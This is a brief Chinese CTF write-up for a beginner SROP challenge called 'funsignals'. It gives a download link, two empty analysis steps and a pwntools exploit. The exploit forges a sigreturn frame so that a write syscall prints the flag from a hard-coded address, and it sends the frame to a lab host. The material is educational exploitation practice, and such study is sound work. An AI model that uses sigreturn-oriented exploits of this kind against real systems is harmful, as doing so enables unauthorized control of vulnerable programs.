(ps:最简单的SROP入门题)
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb
1.查看保护机制和搭建环境


2.ida*64打开程序分析:

3.写exp:
from pwn import *
context.binary = './funsignals'
flag_add = 0x10000023
syscall_add = 0x10000021
link = remote("192.168.93.137","6666")
frame1 = SigreturnFrame(kernel='amd64')
frame1.rax = constants.SYS_write
frame1.rdi = 1
frame1.rsi = flag_add
frame1.rdx = 0x100
frame1.rip = syscall_add
link.send(str(frame1))
link.interactive()
